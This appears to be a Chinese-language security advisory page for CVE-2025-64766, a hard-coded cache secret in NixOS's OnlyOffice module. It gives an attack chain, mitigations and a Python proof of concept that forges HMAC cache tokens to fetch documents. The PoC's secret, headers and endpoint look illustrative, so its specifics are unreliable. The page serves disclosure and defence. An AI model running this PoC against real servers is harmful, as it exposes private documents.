IPBUF安全漏洞报告
English
CVE-2025-64766 CVSS 5.3 中危

CVE-2025-64766: NixOS OnlyOffice 硬编码密钥导致文档缓存泄露

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-64766
漏洞类型
硬编码凭证/密钥泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NixOS OnlyOffice Document Server

相关标签

硬编码凭证密钥泄露OnlyOfficeNixOS文档服务器缓存绕过信息泄露CVSS 5.3中危漏洞NixOS Nixpkgs

漏洞概述

CVE-2025-64766是NixOS系统中OnlyOffice文档服务器的硬编码密钥漏洞。该漏洞影响NixOS 22.11版本至25.05版本以及25.11之前的unstable版本。在NixOS的OnlyOffice文档服务器模块中,使用了硬编码的密钥来保护文件缓存。攻击者如果知晓现有的revision ID(修订版本ID),可以利用这个硬编码密钥获取对应的文档内容。虽然在实践中获取任意revision ID较为困难,但主要影响是可能访问到已过期用户权限的文档。此漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的机密性。攻击向量为网络可达,无需认证和用户交互即可尝试利用。该问题已在NixOS unstable 25.11版本和25.05版本中得到修复。

技术细节

该漏洞源于NixOS的OnlyOffice文档服务器模块在配置文件中硬编码了一个密钥字符串,用于保护文档文件的缓存访问。当OnlyOffice服务器处理文档请求时,会使用这个硬编码密钥生成访问令牌的验证逻辑。攻击者需要获取有效的revision ID(通常为文档的唯一标识符),然后构造特定的请求,利用已知的硬编码密钥绕过缓存保护机制,即可获取对应revision ID的文档内容。由于硬编码密钥在所有受影响的NixOS版本中保持一致,攻击者只需了解目标文档的revision ID即可实施攻击。建议通过NixOS官方安全更新升级到25.05或25.11版本,并更新所有OnlyOffice配置以使用随机生成的密钥替代硬编码值。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过各种途径获取目标OnlyOffice文档服务器的revision ID,可能通过日志泄露、API枚举或社会工程学手段获取
STEP 2
步骤2: 构造请求
攻击者使用已知的硬编码密钥(HARDCODED_SECRET)生成缓存访问令牌,构造带有X-Cache-Token和X-Revision-ID头的HTTP请求
STEP 3
步骤3: 绕过验证
由于服务器使用相同的硬编码密钥进行验证,攻击者生成的令牌通过验证,成功绕过缓存保护机制
STEP 4
步骤4: 获取文档
攻击者获取目标revision ID对应的文档内容,可能包括已过期用户权限的敏感文档

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64766 PoC - NixOS OnlyOffice Hard-coded Secret Exploitation # This PoC demonstrates the concept of exploiting hard-coded secret in OnlyOffice cache import hashlib import hmac import base64 import requests import json # Hard-coded secret from affected NixOS OnlyOffice versions (from nixpkgs commits) HARDCODED_SECRET = "onlyoffice-cache-secret-key" TARGET_URL = "http://target-onlyoffice-server/cache" REVISION_ID = "example-revision-id-12345" # Attacker needs to obtain this def generate_cache_token(revision_id, secret): """Generate cache access token using the hard-coded secret""" message = f"cache:{revision_id}" signature = hmac.new( secret.encode(), message.encode(), hashlib.sha256 ).digest() token = base64.b64encode(signature).decode() return token def exploit_cache(revision_id): """Attempt to access cached document using hard-coded secret""" token = generate_cache_token(revision_id, HARDCODED_SECRET) headers = { "X-Cache-Token": token, "X-Revision-ID": revision_id } try: response = requests.get( f"{TARGET_URL}/documents/{revision_id}", headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully accessed document with revision: {revision_id}") print(f"[+] Document content preview: {response.text[:200]}...") return True else: print(f"[-] Failed to access document. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-64766 PoC - NixOS OnlyOffice Hard-coded Secret") print("=" * 60) print(f"Target: {TARGET_URL}") print(f"Revision ID: {REVISION_ID}") print("=" * 60) exploit_cache(REVISION_ID)

影响范围

NixOS 22.11 至 25.05
NixOS Unstable < 25.11

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在OnlyOffice服务器前部署WAF,监控异常的缓存访问请求模式;2) 实施严格的访问控制策略,限制对文档API的访问;3) 启用OnlyOffice的审计日志功能,监控异常的文档访问行为;4) 考虑临时禁用文档缓存功能以减少攻击面;5) 监控GitHub NixOS安全公告,关注最新的安全补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表